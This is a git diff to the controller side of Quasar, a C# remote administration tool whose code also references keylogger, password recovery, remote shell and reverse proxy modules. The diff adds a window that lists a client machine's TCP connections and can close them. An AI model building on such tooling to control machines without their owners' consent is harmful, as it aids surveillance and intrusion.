b/Server/Core/Commands/TCPConnectionsHandler.cs new file mode 100644 index 000000000..70e890e43 --- /dev/null +++ b/Server/Core/Commands/TCPConnectionsHandler.cs @@ -0,0 +1,64 @@ +using System.Threading; +using xServer.Core.Networking; +using xServer.Core.Packets.ClientPackets; + +namespace xServer.Core.Commands +{ + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ + public static partial class CommandHandler + { + public static void HandleGetConnectionsResponse(Client client, GetConnectionsResponse packet) + { + + if (client.Value == null || client.Value.FrmCon == null) + return; + + client.Value.FrmCon.ClearListviewItems(); + + // None of the arrays containing the process' information can be null. + // The must also be the exact same length because each entry in the five + // different arrays represents one process. + if (packet.Processes == null || packet.LocalAddresses == null || packet.LocalPorts == null || + packet.RemoteAddresses == null || packet.RemotePorts == null || packet.States == null || + packet.Processes.Length != packet.LocalAddresses.Length || packet.Processes.Length != packet.LocalPorts.Length || + packet.Processes.Length != packet.RemoteAddresses.Length || packet.Processes.Length != packet.RemotePorts.Length || + packet.Processes.Length != packet.States.Length) + + return; + + new Thread(() => + { + /*if (client.Value != null && client.Value.FrmTm != null) + client.Value.FrmTm.SetProcessesCount(packet.Process.Length);*/ + + for (int i = 0; i < packet.Processes.Length; i++) + { + /*if (packet.IDs[i] == 0 || packet.Processes[i] == "System.exe") + continue;*/ + + if (client.Value == null || client.Value.FrmCon == null) + break; + + client.Value.FrmCon.AddConnectionToListview(packet.Processes[i], packet.LocalAddresses[i], packet.LocalPorts[i], + packet.RemoteAddresses[i], packet.RemotePorts[i], ((ConnectionStates)packet.States[i]).ToString()); + } + }).Start(); + } + + enum ConnectionStates : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } + } +} diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index fe0f5936f..e49afa4ca 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -113,6 +113,8 @@ public QuasarServer() : base() typeof (Packets.ServerPackets.DoRenameRegistryValue), typeof (Packets.ServerPackets.DoChangeRegistryValue), typeof (Packets.ServerPackets.SetAuthenticationSuccess), + typeof (Packets.ServerPackets.GetConnections), + typeof (Packets.ServerPackets.DoCloseConnection), typeof (Packets.ClientPackets.GetAuthenticationResponse), typeof (Packets.ClientPackets.SetStatus), typeof (Packets.ClientPackets.SetStatusFileManager), @@ -139,7 +141,9 @@ public QuasarServer() : base() typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), - typeof (ReverseProxy.Packets.ReverseProxyDisconnect) + typeof (ReverseProxy.Packets.ReverseProxyDisconnect), + typeof (Packets.ClientPackets.GetConnectionsResponse) + }); base.ClientState += OnClientState; diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 239b0cde4..54affb40d 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -34,6 +34,8 @@ public class UserState : IDisposable public FrmKeylogger FrmKl { get; set; } public FrmReverseProxy FrmProxy { get; set; } public FrmPasswordRecovery FrmPass { get; set; } + public FrmConnections FrmCon { get; set; } + public bool ReceivedLastDirectory { get; set; } public UnsafeStreamCodec StreamCodec { get; set; } @@ -97,6 +99,8 @@ protected virtual void Dispose(bool disposing) FrmProxy.Invoke((MethodInvoker)delegate { FrmProxy.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); + if (FrmCon != null) + FrmCon.Invoke((MethodInvoker)delegate { FrmCon.Close(); }); } catch (InvalidOperationException) { diff --git a/Server/Core/Packets/ClientPackets/GetConnectionsResponse.cs b/Server/Core/Packets/ClientPackets/GetConnectionsResponse.cs new file mode 100644 index 000000000..075b60f96 --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetConnectionsResponse.cs @@ -0,0 +1,42 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetConnectionsResponse : IPacket + { + public string[] Processes { get; set; } + + public string[] LocalAddresses { get; set; } + + public string[] LocalPorts { get; set; } + + public string[] RemoteAddresses { get; set; } + + public string[] RemotePorts { get; set; } + + public byte[] States { get; set; } + + public GetConnectionsResponse() + { + } + + public GetConnectionsResponse(string[] processes, string[] localaddresses, string[] localports, + string[] remoteadresses, string[] remoteports, byte[] states) + { + this.Processes = processes; + this.LocalAddresses = localaddresses; + this.LocalPorts = localports; + this.RemoteAddresses = remoteadresses; + this.RemotePorts = remoteports; + this.States = states; + } + + public void Execute(Client client) + { + client.Send(this); + } + + } +} diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index 69290d75f..84187c270 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -112,6 +112,10 @@ public static void HandlePacket(Client client, IPacket packet) { ReverseProxyCommandHandler.HandleCommand(client, packet); } + else if (type == typeof(ClientPackets.GetConnectionsResponse)) + { + CommandHandler.HandleGetConnectionsResponse(client, (ClientPackets.GetConnectionsResponse)packet); + } } } } diff --git a/Server/Core/Packets/ServerPackets/DoCloseConnection.cs b/Server/Core/Packets/ServerPackets/DoCloseConnection.cs new file mode 100644 index 000000000..80672984a --- /dev/null +++ b/Server/Core/Packets/ServerPackets/DoCloseConnection.cs @@ -0,0 +1,28 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + + [Serializable] + public class DoCloseConnection : IPacket + { + public int LocalPort { get; set; } + public int RemotePort { get; set; } + + public DoCloseConnection() + { + } + + public DoCloseConnection(int localport, int remoteport) + { + this.LocalPort = localport; + this.RemotePort = remoteport; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ServerPackets/GetConnections.cs b/Server/Core/Packets/ServerPackets/GetConnections.cs new file mode 100644 index 000000000..7567265cd --- /dev/null +++ b/Server/Core/Packets/ServerPackets/GetConnections.cs @@ -0,0 +1,19 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class GetConnections : IPacket + { + public GetConnections() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } + +} diff --git a/Server/Forms/FrmConnections.Designer.cs b/Server/Forms/FrmConnections.Designer.cs new file mode 100644 index 000000000..20f93526b --- /dev/null +++ b/Server/Forms/FrmConnections.Designer.cs @@ -0,0 +1,147 @@ +namespace xServer.Forms +{ + partial class FrmConnections + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstConnections = new xServer.Controls.AeroListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.refreshToolStripMenuItem, + this.closeConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip"; + this.contextMenuStrip.Size = new System.Drawing.Size(169, 48); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // closeConnectionToolStripMenuItem + // + this.closeConnectionToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; + this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.closeConnectionToolStripMenuItem.Text = "Close Connection"; + this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click); + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5, + this.columnHeader6}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.FullRowSelect = true; + this.lstConnections.Location = new System.Drawing.Point(0, 0); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(555, 411); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + // + // columnHeader1 + // + this.columnHeader1.Text = "Process"; + this.columnHeader1.Width = 100; + // + // columnHeader2 + // + this.columnHeader2.Text = "Local Address"; + this.columnHeader2.Width = 95; + // + // columnHeader3 + // + this.columnHeader3.Text = "Local Port"; + this.columnHeader3.Width = 75; + // + // columnHeader4 + // + this.columnHeader4.Text = "Remote Address"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Remote Port"; + this.columnHeader5.Width = 75; + // + // columnHeader6 + // + this.columnHeader6.Text = "State"; + this.columnHeader6.Width = 85; + // + // FrmConnections + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(555, 411); + this.Controls.Add(this.lstConnections); + this.Name = "FrmConnections"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Connections"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing); + this.Load += new System.EventHandler(this.FrmConnections_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Server/Forms/FrmConnections.cs b/Server/Forms/FrmConnections.cs new file mode 100644 index 000000000..fc1af28ef --- /dev/null +++ b/Server/Forms/FrmConnections.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; +using xServer.Core.Helper; +using xServer.Core.Networking; + +namespace xServer.Forms +{ + public partial class FrmConnections : Form + { + private readonly Client _connectClient; + Dictionary Groups = new Dictionary(); + + public FrmConnections(Client c) + { + _connectClient = c; + _connectClient.Value.FrmCon = this; + + InitializeComponent(); + } + + private void FrmConnections_Load(object sender, EventArgs e) + { + if (_connectClient != null) + { + this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); + new Core.Packets.ServerPackets.GetConnections().Execute(_connectClient); + } + } + + public void AddConnectionToListview(string processName, string localaddress, string localport, string remoteaddress, string remoteport, string state) + { + try + { + ListViewItem lvi = new ListViewItem(new string[] + { + processName, localaddress, localport, remoteaddress , remoteport, state + }); + + lstConnections.Invoke((MethodInvoker)delegate + { + if (!Groups.ContainsKey(state)) + { + ListViewGroup g = new ListViewGroup(state, state); + lstConnections.Groups.Add(g); + Groups.Add(state, g); + } + lvi.Group = lstConnections.Groups[state]; + lstConnections.Items.Add(lvi); + }); + } + catch (InvalidOperationException) + { + } + } + + public void ClearListviewItems() + { + try + { + lstConnections.Invoke((MethodInvoker)delegate + { + lstConnections.Items.Clear(); + }); + } + catch (InvalidOperationException) + { + } + } + enum ConnectionStates : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } + + private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) + { + + if (_connectClient.Value != null) + _connectClient.Value.FrmCon = null; + + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + if (_connectClient != null) + { + new Core.Packets.ServerPackets.GetConnections().Execute(_connectClient); + } + } + + private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + if (_connectClient != null) + { + foreach (ListViewItem lvi in lstConnections.SelectedItems) + { + //send local and remote ports of connection + new Core.Packets.ServerPackets.DoCloseConnection(int.Parse(lvi.SubItems[2].Text), + int.Parse(lvi.SubItems[4].Text)).Execute(_connectClient); + } + } + } + } +} diff --git a/Server/Forms/FrmConnections.resx b/Server/Forms/FrmConnections.resx new file mode 100644 index 000000000..2d8292bab --- /dev/null +++ b/Server/Forms/FrmConnections.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 922857fee..addc39feb 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -44,6 +44,7 @@ private void InitializeComponent() this.startupManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.taskManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); @@ -101,7 +102,6 @@ private void InitializeComponent() this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; this.contextMenuStrip.Size = new System.Drawing.Size(153, 142); - this.contextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip_Opening); // // connectionToolStripMenuItem // @@ -155,6 +155,7 @@ private void InitializeComponent() this.startupManagerToolStripMenuItem, this.taskManagerToolStripMenuItem, this.remoteShellToolStripMenuItem, + this.connectionsToolStripMenuItem, this.reverseProxyToolStripMenuItem, this.registryEditorToolStripMenuItem, this.ctxtLine, @@ -204,6 +205,13 @@ private void InitializeComponent() this.remoteShellToolStripMenuItem.Text = "Remote Shell"; this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); // + // connectionsToolStripMenuItem + // + this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; + this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.connectionsToolStripMenuItem.Text = "TCP Connections"; + this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click); + // // reverseProxyToolStripMenuItem // this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; @@ -856,6 +864,7 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index e9225138b..cef3cdf44 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -868,9 +868,18 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) #endregion - private void contextMenuStrip_Opening(object sender, System.ComponentModel.CancelEventArgs e) + private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) { - + foreach (Client c in GetSelectedClients()) + { + if (c.Value.FrmCon != null) + { + c.Value.FrmCon.Focus(); + return; + } + FrmConnections frmCON = new FrmConnections(c); + frmCON.Show(); + } } } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index 76459b885..e35801f65 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -121,6 +121,77 @@ 223, 17 + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ4SURBVDhPpZHLbxJhFMX7H7h26c6NJq5YmKhxYWo0 + amKi0VU1VqMs2kUXNpomJsSSAmIfWExNtVQihkSglGmZAcpjOkKBgjC0pR2gWNOkQGzTjQsXx/tNFF+z + MHGSm29mcs7v3u/cDgD/VX/9yGazL1Op1FdRFBGNRiEIAjiOg9frhdvtfvOnvv2Sz+cPZDIZt6Io2Nra + hlKtQ1Fq2GC1UUWr9RlOp5OkGoBcLteZTqc/1Wo1NBoNpJZyWJTSSIhLiCWSiMXeY62sYHJykuQaADJj + Z2dHrXr9I0Qyj4/bYbM9w+joGIaHR7CyugG73U5yDYAkSdjd3SVzHZVKBXHWNZ7EQkxCZGERQjiB0so6 + gYZJrgFgYbVaLWxubtK9K4jSyKyr1WqFxWLB0NAQ5FIZJpOJ5BoAljQDsAzK5XXqKiEUESGEEggKMcwH + oygWV2EwGEiuAQgEAiqgWq1iba2sjswLcQT5GF4nX+HK20v4QICBgQGSawA8Hg+azaZ6/1Jptd2Vm4/g + 9NRx6MZ0mPI/R8/oddx+chHXDKf2z94/+rANcLlc6voYoCiXMMfMcxHMcmH4ZwWYpx7jkfsGZmUb8ts8 + rMI9XLUegU5/0KwCHA4H9vb21BALBRkBjsyBEGbI7Jvh0WXshK/4FL6VEZID5lA3rKE7DPBFBUxMTKT8 + fj9kWaYg6wjT6vyBMLy+IN5RnX9wDJz8QjX/eGYKNgb4GQat7BytKzM9PQ1xUaKrlLGck5FdLuJEzyGY + +JsY5LtU82Cw6/cJfi1K+kx/f3+hr68Pvb290Ov1uHD3JC6bD8PC31I7s5N9tzP4lyKxkWqfjf39NALo + +AY1hv6Ur5wdrwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZFdSFNhHMZPREQQWBcVUSQG0QdIRUQS + elWJ1IURVFCRWOSiQXqxm2GaKVFtrLn82GA4nevQbMQGY0udHzvb2XFzWxPb1LmzzaUUzpHedFXy9J4D + Lsh11cVzOLw8z+//RQH4L216CIfDvYFA4CfLsnC73XC5XHA6nbDZbLBYLO/+9ud/pqamikKhkIXneSwu + fgWfyoDn00gISqSQy30HTdPEWgAQiUSqgsHgUjqdRjabRWAyAh8XhJedBOP1g2EmMBfnYTAYiL0AgISx + vLwsKpP5ApaEtVodurq60dHRCY3mDWZmE9DpdMReAMBxHFZXV0k4g2QyCY9Q1ePHOMNhbNwH16gXsZl5 + AtIQewGAsKxcLoeFhQUydxJu0rJQVa1WQ6VSQaFQIBqLQ6lUEnsBgLBpASDsIB6fJ1U5jIyxcI14MeRi + MDjkRj1dgQe9p1HTU7pjE8DhcIiAVCqFubm42PKwy4OhYQZv/X24MXAVEmMZntlv4abuGKq7ivMQ8WO1 + WrGysiLOH4vNilWFio9NZSR4BrU9J/HEeh3vgxrILNW4pN63XqHcvTMPMJvN4vkEwOdoDB9Jy1LTOdg+ + deNDuFMMmoPtaB+RwTihwEO6EmdfbF8vbdtSJAL6+/uxtrYmLnF6OgqHcwz3ybxC+PVwPV4NSvHcWYcW + ey1aHRLoPG2401eOI0+pXyJAr9cH7HY7otEoWWQGo+R0t/XHMTDZDtqvgpFTwOB7SSCPoPW0oo6uQkkT + lT0gp06JAEHkZFfIuUImkwmsj8M17WFc1hzERfVelCt34W7veXQzLbhnqkRxE/Vtv5w6IeTygA01NzdX + yuXyaZlMhoaGBkilUkgkEpS2bkON8QKKG6klEj664d8E+JdIyz8ONW7FHjlV8ucd1G+4oOErp0oWzwAA + AABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALgSURBVDhPpZDbT5IBGMa5aG1e9R/4D3TR1nJmp7Va + B7twlc1O1izxkIfJ5mdDMW3mBoqOeUDRDDIBcxiiCPj5cfgQRBEQTBRRkJA0ZdZ1s4un79Ot2vKirYvf + zbv9nud9Xw6A/+LQ4Z/4fD6F2+3+4XQ6QdM0KIqC0WiETqeDRqMZPFRiCQQCx7xeryYSiSCR2EJkPY5I + JIY1lrV17O5+g0qlOlz2+/3XPR7P51gshmQyCfecH9MuDxzOOdgds7DbZ7ASjkAulx8ewMjY2dnZJx7f + gJORu7tlkEq70NHRiba2diyH1iCTyf6W++ndVK1WC5IkGTmOaDSKKbZ1ahY2uwtW2zQoiwNLy6tMUNtv + UeX4mqKwJkd6R+a/m0wmmM1mDA8PM3dHQTMrs60SiQStra1obm5GcCkMsVj8q/VIH/VldYDexoBtE+I3 + BrBbqNVqrKyEYbFOw2x1gjI7QFJ2TJA0FhdDaGxsPAiQTWyldown8MG1DTWdgES3BkJigM0d2r+TIKpA + TtIMdihn3yJn6CYWmIC6urqDgBbtp4wWbRRK6waaNCvo1IdRo/DjYY2SeVoHhoaGwOUWwGCy4FL/WaR3 + piOwsAw+n38QUK8KZTWoQ+gxRvCiP4DKXg8alH4QPTO4V9YEoVCIqud8jBst0I9TGNVT8AeCqKysPAjg + yeaJWkaUaEOo6HajUOJArsgCbguNJyIzLmQ3Qjc6iTFWHpvEyCiJeX8Q5eXl4JRIfUfzWlx7r9QLECi8 + EMg9+81l7Q4UtFpx5dl7CERa6A0WJoSElmXEBN/8IoqLi8F5IHLuFbe78PKdD7yuaWQLjLhaosH5xwNI + u92Ha/elsNFOLAbD+62syLK5uc38hQvOjdpJU67Qhpw6EmeeDu6l3VUQJ2+9zjqRKc04flmSWi2oz6yu + rv5IEAR4PB5KS0tRVFSE/Px85OXlhTgXK3Qp5wo1ptOPlHun7siPsj/5d8D5CcQ0539TQdfWAAAAAElF + TkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKISURBVDhPpZFPSFMBHMeN6Tm6hdHBS7fOHuogKyMI + ISry2CEPwQiGWLoOepGIyRj+y4G0SpMWA53ON7e9bW7u+XRuc+renNO3f04Et+F26B8kfvu9Ry3I16kH + X3g8vt/P7/2+vzoA/6UzH6LR6NtQKPSD4zj4/X6wLAuHwwGbzQar1frxb3/tZWNj43wkErGKoohC4RBi + Jg9RzGJP0l4G5fIxpqamyKoAiMVit8Ph8EE2m0WxWERoLYZlPowgt4ZAcBWBwAp2UiLMZjPZFQAUxtHR + kax8fh8chcfGTBgdfY3h4REMDg5hO7kHk8lEdgUAz/OoVCoUziOdTmNJmrq0isUAD9/iMlhvEIntXQIN + kl0BIJVVLpeRy+Vo7zT89MvSVKPRCIPBAL1eDyGRwsDAANkVAFLTEkDqIJXapak8PD4OrCcIFxuA0+VH + PJ5Ef38/2RUADMPIgEwmg52dlPzLbnYJLncAH1bf4eGnu9gkQG9vL9kVADMzMyiVSvL+iUSyNtXh9EH9 + /hqaR5qxZuqD814jPOr6U1erap/UUwNYLBb5fBIgLiSwIIUXfJh3eGGfZ+F+1YnNZ9fxjTHgdNuJL5ZO + hDVXT9w36p/KgImJCVSrVbnErS0BjIPCjAdzFJ6dc8N5/xK+UhhDbUD3BeBlE0r6FrhuqjIyYHx8PGS3 + 2yEIAhWZh5dOZ2e8sM26ME3yqBtwGp0m65+n0ndRXkcGSKKT3aFzRSYnJ8Et87RKCusxAdH1ONgHjfj8 + 5jFAoe/P63BMyj9RgXo4qAF+i5q+pdPptrq6uqDVaqHRaDD6qAUrHVdw2N2Eoq4B6Y5z8LbVnzhbVS/O + AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII= + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m @@ -216,113 +287,6 @@ Dbrv6elpDAwM/KLvHh4ZwdPhEczMOpiRam/vMzo7O8+esNFo7CZNr0RX4yyiTqf7SWLb+vr6NrRaLdRq NZRKJbq6utDR0YH29vbKiXliYuKK2Wwm+y1D3m6yK5TJfRDTj9OQ/3XyMTo6emlwcFCgTRMiThH504az AvcX77X2szDYsr4AAAAASUVORK5CYII= - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu - q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e - 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw - a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG - CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa - h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N - RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC - AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e - OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx - 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA - vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG - Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg - gg== - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALOSURBVDhPpZHJT1NRFMbrzrD2b3DtnrAyMSERGVMq - LdJHaVPoFOC1fZFSIBGxBCiktgxqS8sgULAyqIUiQgjwUCAQkSASw2QYF0SrjZv3+e4ljSR15+JLbu49 - 3+9851wJgP9SwsX7R9VJMzY2+S1rkO+rGOzlZlLtFxZgktXfm6lgk0lNvD4BsMKV82cmI061GhyLpnOO - wznL0vOprhhnpSYsWcv4eH0C4EtejvDdZkPM1YpjbRH2ZVlU5EzuyNtnaZoQMRuuU0C1z55kdpcnm5x6 - ubXPiJ2s24gGAjjTl+BEHIGY4rATjRqHjEIcKR0i4AYF3Pea+doxG+whC7igCbs5d/B7eAw/PW6clmho - 